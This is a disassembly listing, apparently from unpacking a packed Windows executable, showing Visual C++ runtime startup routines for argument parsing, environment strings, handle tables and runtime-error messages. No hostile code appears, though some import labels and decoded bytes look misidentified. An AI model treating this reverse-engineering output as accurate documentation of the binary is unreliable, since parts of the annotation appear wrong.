		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4D86F8, esi
		jnz	short loc_41E854
		push	9
		call	sub_419D79
		pop	ecx


loc_41E854:				; CODE XREF: sub_41E800+4Aj
		mov	edi, dword_4D8740
		cmp	[edi], bl
		jz	short loc_41E897
		push	ebp


loc_41E85F:				; CODE XREF: sub_41E800+94j
		push	edi
		call	sub_4176F0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_41E890
		push	ebp
		call	sub_417A2B
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_41E883
		push	9
		call	sub_419D79
		pop	ecx


loc_41E883:				; CODE XREF: sub_41E800+79j
		push	edi
		push	dword ptr [esi]
		call	sub_4183B0
		pop	ecx
		add	esi, 4
		pop	ecx


loc_41E890:				; CODE XREF: sub_41E800+6Cj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_41E85F
		pop	ebp


loc_41E897:				; CODE XREF: sub_41E800+5Cj
		push	dword_4D8740
		call	sub_4177C1
		pop	ecx
		mov	dword_4D8740, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4D9D68, 1
		pop	ebx
		retn
sub_41E800	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E8B9	proc near		; CODE XREF: nsp0:00419D0Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4D9D6C, ebx
		push	esi
		push	edi
		jnz	short loc_41E8D0
		call	sub_41BD52


loc_41E8D0:				; CODE XREF: sub_41E8B9+10j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	dword_423070	; GetModuleFileNameA
		mov	eax, dword_4D9D64
		mov	off_4D8708, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_41E8F5
		mov	edi, eax


loc_41E8F5:				; CODE XREF: sub_41E8B9+38j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_41E952
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_417A2B
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_41E925
		push	8
		call	sub_419D79
		pop	ecx


loc_41E925:				; CODE XREF: sub_41E8B9+62j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_41E952
		mov	eax, [ebp+var_4]
		add	esp, 14h
		dec	eax
		mov	dword_4D86F0, esi
		pop	edi
		pop	esi
		mov	dword_4D86EC, eax
		pop	ebx
		leave
		retn
sub_41E8B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E952	proc near		; CODE XREF: sub_41E8B9+47p
					; sub_41E8B9+7Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_41E97C
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41E97C:				; CODE XREF: sub_41E952+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41E9C5


loc_41E981:				; CODE XREF: sub_41E952+58j
					; sub_41E952+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_41E9B3
		test	dl, dl
		jz	short loc_41E9B3
		movzx	edx, dl
		test	byte_4D9C41[edx], 4
		jz	short loc_41E9A6
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41E9A6
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_41E9A6:				; CODE XREF: sub_41E952+46j
					; sub_41E952+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41E981
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41E981
; ---------------------------------------------------------------------------


loc_41E9B3:				; CODE XREF: sub_41E952+36j
					; sub_41E952+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41E9BD
		and	byte ptr [esi],	0
		inc	esi


loc_41E9BD:				; CODE XREF: sub_41E952+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41EA08
		inc	eax
		jmp	short loc_41EA08
; ---------------------------------------------------------------------------


loc_41E9C5:				; CODE XREF: sub_41E952+2Dj
					; sub_41E952+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41E9D0
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_41E9D0:				; CODE XREF: sub_41E952+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4D9C41[ebx], 4
		jz	short loc_41E9EB
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41E9EA
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_41E9EA:				; CODE XREF: sub_41E952+91j
		inc	eax


loc_41E9EB:				; CODE XREF: sub_41E952+8Bj
		cmp	dl, 20h
		jz	short loc_41E9F9
		test	dl, dl
		jz	short loc_41E9FD
		cmp	dl, 9
		jnz	short loc_41E9C5


loc_41E9F9:				; CODE XREF: sub_41E952+9Cj
		test	dl, dl
		jnz	short loc_41EA00


loc_41E9FD:				; CODE XREF: sub_41E952+A0j
		dec	eax
		jmp	short loc_41EA08
; ---------------------------------------------------------------------------


loc_41EA00:				; CODE XREF: sub_41E952+A9j
		test	esi, esi
		jz	short loc_41EA08
		and	byte ptr [esi-1], 0


loc_41EA08:				; CODE XREF: sub_41E952+6Ej
					; sub_41E952+71j ...
		and	[ebp+arg_10], 0


loc_41EA0C:				; CODE XREF: sub_41E952+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_41EAF5


loc_41EA15:				; CODE XREF: sub_41E952+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_41EA21
		cmp	dl, 9
		jnz	short loc_41EA24


loc_41EA21:				; CODE XREF: sub_41E952+C8j
		inc	eax
		jmp	short loc_41EA15
; ---------------------------------------------------------------------------


loc_41EA24:				; CODE XREF: sub_41E952+CDj
		cmp	byte ptr [eax],	0
		jz	loc_41EAF5
		test	edi, edi
		jz	short loc_41EA39
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41EA39:				; CODE XREF: sub_41E952+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_41EA3E:				; CODE XREF: sub_41E952+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_41EA47:				; CODE XREF: sub_41E952+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_41EA50
		inc	eax
		inc	ebx
		jmp	short loc_41EA47
; ---------------------------------------------------------------------------


loc_41EA50:				; CODE XREF: sub_41E952+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41EA81
		test	bl, 1
		jnz	short loc_41EA7F
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_41EA6E
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_41EA6E
		mov	eax, edx
		jmp	short loc_41EA71
; ---------------------------------------------------------------------------


loc_41EA6E:				; CODE XREF: sub_41E952+10Dj
					; sub_41E952+116j
		mov	[ebp+arg_0], edi


loc_41EA71:				; CODE XREF: sub_41E952+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_41EA7F:				; CODE XREF: sub_41E952+106j
		shr	ebx, 1


loc_41EA81:				; CODE XREF: sub_41E952+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_41EA96
		inc	ebx


loc_41EA89:				; CODE XREF: sub_41E952+142j
		test	esi, esi
		jz	short loc_41EA91
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_41EA91:				; CODE XREF: sub_41E952+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_41EA89


loc_41EA96:				; CODE XREF: sub_41E952+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_41EAE6
		cmp	[ebp+arg_10], 0
		jnz	short loc_41EAAC
		cmp	dl, 20h
		jz	short loc_41EAE6
		cmp	dl, 9
		jz	short loc_41EAE6


loc_41EAAC:				; CODE XREF: sub_41E952+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_41EAE0
		test	esi, esi
		jz	short loc_41EACF
		movzx	ebx, dl
		test	byte_4D9C41[ebx], 4
		jz	short loc_41EAC8
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_41EAC8:				; CODE XREF: sub_41E952+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41EADE
; ---------------------------------------------------------------------------


loc_41EACF:				; CODE XREF: sub_41E952+162j
		movzx	edx, dl
		test	byte_4D9C41[edx], 4
		jz	short loc_41EADE
		inc	eax
		inc	dword ptr [ecx]


loc_41EADE:				; CODE XREF: sub_41E952+17Bj
					; sub_41E952+187j
		inc	dword ptr [ecx]


loc_41EAE0:				; CODE XREF: sub_41E952+15Ej
		inc	eax
		jmp	loc_41EA3E
; ---------------------------------------------------------------------------


loc_41EAE6:				; CODE XREF: sub_41E952+148j
					; sub_41E952+153j ...
		test	esi, esi
		jz	short loc_41EAEE
		and	byte ptr [esi],	0
		inc	esi


loc_41EAEE:				; CODE XREF: sub_41E952+196j
		inc	dword ptr [ecx]
		jmp	loc_41EA0C
; ---------------------------------------------------------------------------


loc_41EAF5:				; CODE XREF: sub_41E952+BDj
					; sub_41E952+D5j
		test	edi, edi
		jz	short loc_41EAFC
		and	dword ptr [edi], 0


loc_41EAFC:				; CODE XREF: sub_41E952+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41E952	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EB06	proc near		; CODE XREF: nsp0:00419D02p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, dword_4D88AC
		push	ebx
		push	ebp
		mov	ebp, dword_42303C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_41EB54
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41EB35
		mov	dword_4D88AC, 1
		jmp	short loc_41EB5D
; ---------------------------------------------------------------------------


loc_41EB35:				; CODE XREF: sub_41EB06+21j
		call	dword_423040	; GetEnvironmentStrings
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41EC2F
		mov	dword_4D88AC, 2
		jmp	loc_41EBE3
; ---------------------------------------------------------------------------


loc_41EB54:				; CODE XREF: sub_41EB06+19j
		cmp	eax, 1
		jnz	loc_41EBDE


loc_41EB5D:				; CODE XREF: sub_41EB06+2Dj
		cmp	esi, ebx
		jnz	short loc_41EB6D
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_41EC2F


loc_41EB6D:				; CODE XREF: sub_41EB06+59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_41EB82


loc_41EB74:				; CODE XREF: sub_41EB06+73j
					; sub_41EB06+7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41EB74
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41EB74


loc_41EB82:				; CODE XREF: sub_41EB06+6Cj
		sub	eax, esi
		mov	edi, dword_423160
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_41EBD3
		push	ebp
		call	sub_417A2B
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_41EBD3
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_41EBCF
		push	[esp+18h+var_8]
		call	sub_4177C1
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_41EBCF:				; CODE XREF: sub_41EB06+B9j
		mov	ebx, [esp+18h+var_8]


loc_41EBD3:				; CODE XREF: sub_41EB06+99j
					; sub_41EB06+A8j
		push	esi
		call	dword_423044	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_41EC31
; ---------------------------------------------------------------------------


loc_41EBDE:				; CODE XREF: sub_41EB06+51j
		cmp	eax, 2
		jnz	short loc_41EC2F


loc_41EBE3:				; CODE XREF: sub_41EB06+49j
		cmp	edi, ebx
		jnz	short loc_41EBF3
		call	dword_423040	; GetEnvironmentStrings
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41EC2F


loc_41EBF3:				; CODE XREF: sub_41EB06+DFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_41EC03


loc_41EBF9:				; CODE XREF: sub_41EB06+F6j
					; sub_41EB06+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41EBF9
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41EBF9


loc_41EC03:				; CODE XREF: sub_41EB06+F1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_417A2B
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_41EC19
		xor	esi, esi
		jmp	short loc_41EC24
; ---------------------------------------------------------------------------


loc_41EC19:				; CODE XREF: sub_41EB06+10Dj
		push	ebp
		push	edi
		push	esi
		call	sub_418810
		add	esp, 0Ch


loc_41EC24:				; CODE XREF: sub_41EB06+111j
		push	edi
		call	dword_423048	; FreeEnvironmentStringsA
		mov	eax, esi
		jmp	short loc_41EC31
; ---------------------------------------------------------------------------


loc_41EC2F:				; CODE XREF: sub_41EB06+39j
					; sub_41EB06+61j ...
		xor	eax, eax


loc_41EC31:				; CODE XREF: sub_41EB06+D6j
					; sub_41EB06+127j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_41EB06	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EC38	proc near		; CODE XREF: nsp0:00419CF2p

var_44		= byte ptr -44h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_417A2B
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_41EC58
		push	1Bh
		call	sub_419D79
		pop	ecx


loc_41EC58:				; CODE XREF: sub_41EC38+16j
		mov	dword_4D9A20, esi
		mov	dword_4D9B20, 20h
		lea	eax, [esi+100h]


loc_41EC6E:				; CODE XREF: sub_41EC38+52j
		cmp	esi, eax
		jnb	short loc_41EC8C
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4D9A20
		add	esi, 8
		add	eax, 100h
		jmp	short loc_41EC6E
; ---------------------------------------------------------------------------


loc_41EC8C:				; CODE XREF: sub_41EC38+38j
		lea	eax, [esp+54h+var_44]
		push	eax
		call	dword_423190	; GetStartupInfoA
		cmp	word ptr [esp+54h+var_14+2], 0
		jz	loc_41ED68
		mov	eax, [esp+54h+var_10]
		test	eax, eax
		jz	loc_41ED68
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_41ECC2
		mov	esi, eax


loc_41ECC2:				; CODE XREF: sub_41EC38+86j
		cmp	dword_4D9B20, esi
		jge	short loc_41ED1C
		mov	edi, offset dword_4D9A24


loc_41ECCF:				; CODE XREF: sub_41EC38+DAj
		push	100h
		call	sub_417A2B
		test	eax, eax
		pop	ecx
		jz	short loc_41ED16
		add	dword_4D9B20, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_41ECED:				; CODE XREF: sub_41EC38+CFj
		cmp	eax, ecx
		jnb	short loc_41ED09
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_41ECED
; ---------------------------------------------------------------------------


loc_41ED09:				; CODE XREF: sub_41EC38+B7j
		add	edi, 4
		cmp	dword_4D9B20, esi
		jl	short loc_41ECCF
		jmp	short loc_41ED1C
; ---------------------------------------------------------------------------


loc_41ED16:				; CODE XREF: sub_41EC38+A4j
		mov	esi, dword_4D9B20


loc_41ED1C:				; CODE XREF: sub_41EC38+90j
					; sub_41EC38+DCj
		xor	edi, edi
		test	esi, esi
		jle	short loc_41ED68


loc_41ED22:				; CODE XREF: sub_41EC38+12Ej
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ED5F
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_41ED5F
		test	cl, 8
		jnz	short loc_41ED41
		push	eax
		call	dword_423030	; GetFileType
		test	eax, eax
		jz	short loc_41ED5F


loc_41ED41:				; CODE XREF: sub_41EC38+FCj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4D9A20[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_41ED5F:				; CODE XREF: sub_41EC38+EFj
					; sub_41EC38+F7j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_41ED22


loc_41ED68:				; CODE XREF: sub_41EC38+65j
					; sub_41EC38+71j ...
		xor	ebx, ebx


loc_41ED6A:				; CODE XREF: sub_41EC38+195j
		mov	eax, dword_4D9A20
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_41EDC5
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_41ED85
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_41ED8F
; ---------------------------------------------------------------------------


loc_41ED85:				; CODE XREF: sub_41EC38+146j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_41ED8F:				; CODE XREF: sub_41EC38+14Bj
		push	eax
		call	dword_423034	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41EDB4
		push	edi
		call	dword_423030	; GetFileType
		test	eax, eax
		jz	short loc_41EDB4
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_41EDBA


loc_41EDB4:				; CODE XREF: sub_41EC38+163j
					; sub_41EC38+16Ej
		or	byte ptr [esi+4], 40h
		jmp	short loc_41EDC9
; ---------------------------------------------------------------------------


loc_41EDBA:				; CODE XREF: sub_41EC38+17Aj
		cmp	eax, 3
		jnz	short loc_41EDC9
		or	byte ptr [esi+4], 8
		jmp	short loc_41EDC9
; ---------------------------------------------------------------------------


loc_41EDC5:				; CODE XREF: sub_41EC38+13Ej
		or	byte ptr [esi+4], 80h


loc_41EDC9:				; CODE XREF: sub_41EC38+180j
					; sub_41EC38+185j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_41ED6A
		push	dword_4D9B20
		call	dword_423038	; LockResource
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
sub_41EC38	endp

; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EDEC	proc near		; DATA XREF: nsp0:00419C8Do
					; sub_41DB42+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_41EE8C
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_41EE1F:				; CODE XREF: sub_41EDEC+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41EE85
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_41EE73
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_41EE73
		js	short loc_41EE7E
		mov	edi, [ebx+8]
		push	ebx
		call	sub_419074
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_4190B6
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41914A
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_41EE73:				; CODE XREF: sub_41EDEC+40j
					; sub_41EDEC+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_41EE1F
; ---------------------------------------------------------------------------


loc_41EE7E:				; CODE XREF: sub_41EDEC+54j
		mov	eax, 0
		jmp	short loc_41EEA1
; ---------------------------------------------------------------------------


loc_41EE85:				; CODE XREF: sub_41EDEC+36j
		mov	eax, 1
		jmp	short loc_41EEA1
; ---------------------------------------------------------------------------


loc_41EE8C:				; CODE XREF: sub_41EDEC+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_4190B6
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_41EEA1:				; CODE XREF: sub_41EDEC+97j
					; sub_41EDEC+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41EDEC	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_4190B6
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41EEC4	proc near		; CODE XREF: sub_419D79+9p
					; sub_419D9E+9p
		mov	eax, dword_4D8748
		cmp	eax, 1
		jz	short loc_41EEDB
		test	eax, eax
		jnz	short locret_41EEFC
		cmp	dword_43AB74, 1
		jnz	short locret_41EEFC


loc_41EEDB:				; CODE XREF: sub_41EEC4+8j
		push	0FCh
		call	sub_41EEFD
		mov	eax, dword_4D88B0
		pop	ecx
		test	eax, eax
		jz	short loc_41EEF1
		call	eax


loc_41EEF1:				; CODE XREF: sub_41EEC4+29j
		push	0FFh
		call	sub_41EEFD
		pop	ecx

locret_41EEFC:				; CODE XREF: sub_41EEC4+Cj
					; sub_41EEC4+15j
		retn
sub_41EEC4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EEFD	proc near		; CODE XREF: sub_419D79+12p
					; sub_419D9E+12p ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43B1E8


loc_41EF10:				; CODE XREF: sub_41EEFD+20j
		cmp	edx, [eax]
		jz	short loc_41EF1F
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43B278
		jl	short loc_41EF10


loc_41EF1F:				; CODE XREF: sub_41EEFD+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43B1E8[esi]
		jnz	loc_41F04D
		mov	eax, dword_4D8748
		cmp	eax, 1
		jz	loc_41F027
		test	eax, eax
		jnz	short loc_41EF50
		cmp	dword_43AB74, 1
		jz	loc_41F027


loc_41EF50:				; CODE XREF: sub_41EEFD+44j
		cmp	edx, 0FCh
		jz	loc_41F04D
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	dword_423070	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_41EF87
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_4183B0
		pop	ecx
		pop	ecx


loc_41EF87:				; CODE XREF: sub_41EEFD+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_4176F0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_41EFCA
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4176F0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_417B00
		add	esp, 10h


loc_41EFCA:				; CODE XREF: sub_41EEFD+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_4183B0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_4183C0
		lea	eax, [ebp+var_A0]
		push	offset asc_423BD0 ; "\n\n"
		push	eax
		call	sub_4183C0
		push	off_43B1EC[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4183C0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_420858
		add	esp, 2Ch
		pop	edi
		jmp	short loc_41F04D
; ---------------------------------------------------------------------------


loc_41F027:				; CODE XREF: sub_41EEFD+3Cj
					; sub_41EEFD+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43B1EC[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_4176F0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	dword_423034	; GetStdHandle
		push	eax
		call	dword_4230E0	; WriteFile


loc_41F04D:				; CODE XREF: sub_41EEFD+2Ej
					; sub_41EEFD+59j ...
		pop	esi
		leave
		retn
sub_41EEFD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F050	proc near		; CODE XREF: sub_41F514:loc_41F68Cp
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4D9A20


loc_41F05F:				; CODE XREF: sub_41F050+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_41F09C
		lea	edx, [eax+100h]


loc_41F06B:				; CODE XREF: sub_41F050+28j
		cmp	eax, edx
		jnb	short loc_41F08B
		test	byte ptr [eax+4], 1
		jz	short loc_41F07A
		add	eax, 8
		jmp	short loc_41F06B
; ---------------------------------------------------------------------------


loc_41F07A:				; CODE XREF: sub_41F050+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41F0DF


loc_41F08B:				; CODE XREF: sub_41F050+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4D9B20
		jl	short loc_41F05F
		jmp	short loc_41F0DF
; ---------------------------------------------------------------------------


loc_41F09C:				; CODE XREF: sub_41F050+13j
		mov	esi, 100h
		push	esi
		call	sub_417A2B
		test	eax, eax
		pop	ecx
		jz	short loc_41F0DF
		add	dword_4D9B20, 20h
		lea	ecx, ds:4D9A20h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_41F0C2:				; CODE XREF: sub_41F050+88j
		cmp	eax, edx
		jnb	short loc_41F0DA
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_41F0C2
; ---------------------------------------------------------------------------


loc_41F0DA:				; CODE XREF: sub_41F050+74j
		shl	edi, 5
		mov	ebx, edi


loc_41F0DF:				; CODE XREF: sub_41F050+39j
					; sub_41F050+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41F050	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F0E5	proc near		; CODE XREF: sub_41F514+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4D9B20
		push	edi
		jnb	short loc_41F145
		mov	ecx, eax
		mov	esi, eax
